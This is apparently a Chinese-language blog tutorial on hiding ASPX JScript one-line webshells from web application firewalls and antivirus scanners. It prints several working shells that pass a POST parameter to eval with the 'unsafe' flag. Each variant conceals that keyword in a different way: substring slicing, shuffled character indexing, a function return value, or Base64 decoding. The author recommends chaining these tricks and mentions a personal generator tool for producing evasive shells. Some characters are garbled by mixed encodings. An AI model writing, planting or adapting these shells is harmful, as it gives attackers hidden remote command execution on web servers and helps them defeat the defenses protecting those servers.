前言
自己曾經(jīng)寫過一篇文章:利用隨機(jī)異或無限免殺某盾
php的webshell免殺方法有很多,但是市面上很少有講aspx免殺的文章.
因為aspx的權(quán)限一般較大,對于滲透過程中還是很重要的, 所以就想著寫一篇文章來簡單的介紹下aspx的免殺
0x01 主要方法
字符串拼接
函數(shù)
數(shù)組
Base64編碼
0x02 了解aspx一句話
Aspx的一句話一般是使用Jscript語言實現(xiàn)
看看原本的菜刀aspx一句話
<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
其實與php的類似
Eval函數(shù)將字符串當(dāng)做代碼執(zhí)行
不同的是在Jscript中為了安全起見必須使用unsafe參數(shù),才可以使其具有對操作系統(tǒng)操作的功能
Request.Item["pass"] 的pass就是接受的參數(shù) 類似于php的$_POST[“pass”]
Jscript基本用法
Function xxx(){}//聲明一個函數(shù)
字符串拼接
Var a =’a’+’b’;//a=’ab’;
Var a= ‘\x61’; //a=’a’;
數(shù)組聲明
Var a=’abc’;
Var b=a(0);//b=’a’;
作為免殺來說一般waf殺的都是unsafe這個參數(shù),所以我們的免殺也將從這個參數(shù)下手
0x02 字符串拼接
經(jīng)過測試,一般來說把’unsafe’這個字符串無論是十六進(jìn)制拼接還是直接大小寫拼接均不可行
于是想到可以采用substr函數(shù)
<%@ Page Language="Jscript" Debug=true%>
<%
var a=Request.Form("mr6");
var b='aaaunsaaaafe';
var b=b.substr(3,4)+b.substr(10);
eval(a,b);
%>
0x03 數(shù)組
感覺大多數(shù)waf對數(shù)組拼接并不感冒,就可以打亂順序,利用數(shù)組進(jìn)行拼接
<%@ Page Language="Jscript" Debug=true%>
<%
var a='efasnu';
var b=Request.Form("mr6");
var c=a(5)+a(4)+a(3)+a(2)+a(1)+a(0);
eval(b,c);
%>
0x04 函數(shù)
因為某盾對字符串拼接殺得比較厲害,放在函數(shù)里當(dāng)做返回值即可
<%@ Page Language="Jscript" Debug=true%>
<%
var a=Request.Form("mr6");
function ok()
{
var c="un";
var b="safe";
return c+b;
}
eval(a,ok());
%>
0x05 BASE64編碼
Php中經(jīng)常使用base64編碼來bypass,那么在aspx中如何實現(xiàn)呢
var res=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(‘eXpkZG1yNg==’);//res=’yzddmr6’;
那么我們對于unsafe這個特征就可以使用base64編碼來繞過
<%@ Page Language="Jscript" Debug=true%>
<%
var a=Request.Form("mr6");
var res=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String('dW5zYWZl'));
eval(a,res);
%>
0x06 總結(jié)
可能是因為aspx的免殺現(xiàn)在還不是很多,所以waf的查殺并不是很嚴(yán)格,不需要太復(fù)雜就可以繞過.
對于以上方法還可以連環(huán)套用,以達(dá)到混淆的效果
自己寫了個腳本,利用以上方法來無限生成免殺aspx的webshell
已經(jīng)放到了自己的項目webshell_venom中